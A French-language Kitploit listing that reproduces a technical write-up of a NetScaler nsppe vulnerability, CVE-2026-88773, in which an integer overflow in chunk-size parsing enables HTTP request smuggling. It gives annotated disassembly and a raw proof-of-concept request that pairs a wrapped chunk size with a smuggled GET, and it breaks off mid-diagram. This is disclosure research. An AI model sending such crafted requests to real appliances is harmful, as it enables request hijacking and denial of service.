Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-88773 — Analyse technique d'une faille de contrebande de requêtes par débordement d'entier sur la taille de chunk HTTP/1.1 dans NetScaler nsppe, avec désassemblage, flux PoC au niveau du trafic réseau et diff de correctif firmware. | Kitploit
Outils/GitHubGitHub/scyrix-llc/cve-2026-88773
Analyse des VulnérabilitésExploitationRétro-ingénierieExploitation d'Applications WebSécurité WebAnalyse de BinairesArticles et RechercheAnalyse de Micrologiciel
GitHubscyrix-llc/cve-2026-88773

CVE-2026-88773

Analyse technique d'une faille de contrebande de requêtes par débordement d'entier sur la taille de chunk HTTP/1.1 dans NetScaler nsppe, avec désassemblage, flux PoC au niveau du trafic réseau et diff de correctif firmware.

11il y a 1 moisPas encore vérifié
Voir le dépôtSite web

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-88773 : NetScaler nsppe (HTTP Smuggle)

Débordement de l'accumulateur de taille de chunk 32 bits dans le parseur HTTP/1.1

TL;DR

Le parseur de corps chunked HTTP/1.1 de nsppe lit le champ chunk-size dans un registre 32 bits et ne vérifie jamais le débordement. Neuf chiffres hexadécimaux ou plus et la valeur se replie silencieusement : 100000005 (2^32 + 5) est consommé comme une taille de chunk de 5.

C'est un bug de parseur amusant jusqu'à ce que l'on se rappelle ce que NetScaler fait du corps : il transmet le framing chunked du client au backend exactement tel que reçu, mais il décide où la requête se termine en utilisant sa propre valeur repliée. Ainsi, le proxy croit que la requête n°1 est terminée après cinq octets de corps, tandis qu'un backend correct lisant les mêmes octets calcule 4 294 967 301 et s'installe pour un corps de 4 Go qui n'arrivera jamais. Deux machines, un seul flux d'octets, deux avis différents sur l'endroit où une requête se termine.

Tout ce qui suit la version de NetScaler de « la fin » est reclassé comme une nouvelle requête pipelinée sur la même connexion client, puis transmis indépendamment sur la connexion proxy-vers-backend partagée.

Ce que vous obtenez dépend du parseur du backend lui-même :

  • Le backend tronque aussi à 32 bits : les octets smuggled s'exécutent comme une requête indépendante. Détournement de préfixe classique.
  • Le backend parse correctement : désynchronisation dure, connexion bloquée sur un corps de 4 Go qui n'arrive jamais. DoS par épuisement du pool de connexions.

Une seule requête non authentifiée. Configuration par défaut. Aucune condition préalable au-delà de l'atteinte d'un vserver HTTP.


Cause racine

Le parseur hexadécimal de taille de chunk

Le travail du parseur est simple : transformer une ligne de taille de chunk comme 1a3f\r\n en un nombre. Il prend le buffer dans rdi avec sa longueur dans esi, accumule la valeur hexadécimale dans l'emplacement 32 bits à *rdx (en entrée et en sortie, afin qu'une taille répartie sur deux paquets reprenne proprement), saute les espaces, et exige le \r\n final. Il répond avec les octets consommés, 0 pour « besoin de plus de données », ou -1 pour malformé.

La boucle entière, assez petite pour voir le bug à l'œil nu :

20af5e0: movzx  eax, BYTE PTR [rbx]
20af5e3: test   BYTE PTR [rax+rax*1+0x2746c80], 0x10   ; ctype: hex digit?
20af5eb: je     20af60b
20af5ed: mov    ecx, r11d
20af5f0: shl    ecx, 0x4                               ; value <<= 4
20af5f3: movzx  r11d, BYTE PTR [rax+0x2746b80]         ; hexval(digit)
20af5fb: add    r11d, ecx                              ; value = value*16 + d
20af5fe: inc    rbx
20af601: dec    r8d
20af604: jne    20af5e0                                ; next digit

r11d est l'accumulateur, et il est large de 32 bits. Chaque chiffre effectue value <<= 4; value += digit. Pas de compteur de chiffres, pas de plafond de magnitude, pas de vérification de débordement, pas de jo nulle part dans la boucle. Le neuvième chiffre ne provoque pas d'erreur ; il décale le haut du nombre hors de l'extrémité du registre et personne ne s'en aperçoit. 0x100000005 & 0xffffffff = 5, et le parseur s'en satisfait parfaitement.

L'unique vérification de cohérence rejette la mauvaise moitié

Il existe exactement une vérification de cohérence en aval, et elle est erronée d'une manière presque poétique. Le pilote de déchunking (sub_20af6b0, sites d'appel 0x20af719 / 0x20af9fb, taille stockée à [r12+0x344]) applique un test de signe à la valeur accumulée. Prenez un instant pour y réfléchir : les seuls débordements détectés sont ceux qui atterrissent dans la moitié négative, [0x80000000, 0xffffffff]. Une taille ayant débordé dont les 32 bits de poids faible ressortent en dessous de 0x80000000 passe sans encombre comme une taille de chunk parfaitement normale. 0x100000005 qui déborde vers 5 est le cas canonique : débordé, non remarqué, et dévastateur.


Pourquoi cela passe en contrebande

Le paquet se transforme en contrebande à cause d'une seule décision de conception dans la façon dont NetScaler traite les corps : il transmet le framing chunked du client au backend octet par octet, sans y toucher, tout en utilisant sa propre compréhension (débordée) de ce framing pour décider où se termine la requête du client.

Ainsi, NetScaler termine la requête n°1 après cinq octets de corps et met en file les 37 restants comme une seconde requête pipelinée. Le backend, effectuant l'arithmétique correctement, lit 100000005 comme 4 294 967 301 et continue d'attendre le corps de la requête n°1. À partir de ce moment, les deux machines lisent le même flux et vivent dans des mondes différents.

Le monde dans lequel vous finissez dépend du backend.

Flux A : backend 64 bits correct. Le coinçage par désynchronisation.

Attacker                           NetScaler (<=73.30)                            Backend (RFC 64-bit)
   |                                        |                                               |
   |  [1] one TCP segment, 122 bytes:       |                                               |
   |    POST /wrap HTTP/1.1                 |                                               |
   |    Host: poc                           |                                               |
   |    Transfer-Encoding: chunked          |                                               |
   |    100000005\r\nAAAAA\r\n0\r\n\r\n     |                                               |
   |    GET /SMUGGLED HTTP/1.1              |                                               |
   |    Host: poc\r\n\r\n                   |                                               |
   |--[1]---------------------------------->|                                               |
   |                                        | [2] parses "100000005" into a u32             |
   |                                        |     wraps to 5; consumes AAAAA;               |
   |                                        |     sees terminating 0-chunk                  |
   |                                        |     ==> request #1 COMPLETE                   |
   |                                        |     trailing 37 bytes held as a               |
   |                                        |     pending pipelined request #2              |
   |                                        |                                               |
   |                                        |--[3] 85 bytes, framing VERBATIM-------------->|
   |                                        |   POST /wrap HTTP/1.1                         |
   |                                        |   Transfer-Encoding: chunked                  |
   |                                        |   100000005\r\nAAAAA\r\n0\r\n\r\n             |
   |                                        |                                               |
   |                                        |                                               | [4] parses 0x100000005 (64-bit)
   |                                        |                                               |     = 4,294,967,301 bytes
   |                                        |                                               |     waiting for a body that never co
   |                                        |                                               |     [WEDGED: no response, ever]
   |                                        |                                               |
   |                                        | GET /SMUGGLED waits in NetScaler's            |
   |                                        | pipeline queue forever: response #1           |
   |                                        | never arrives                                 |
   |                                        |                                               |
Télécharger l’outil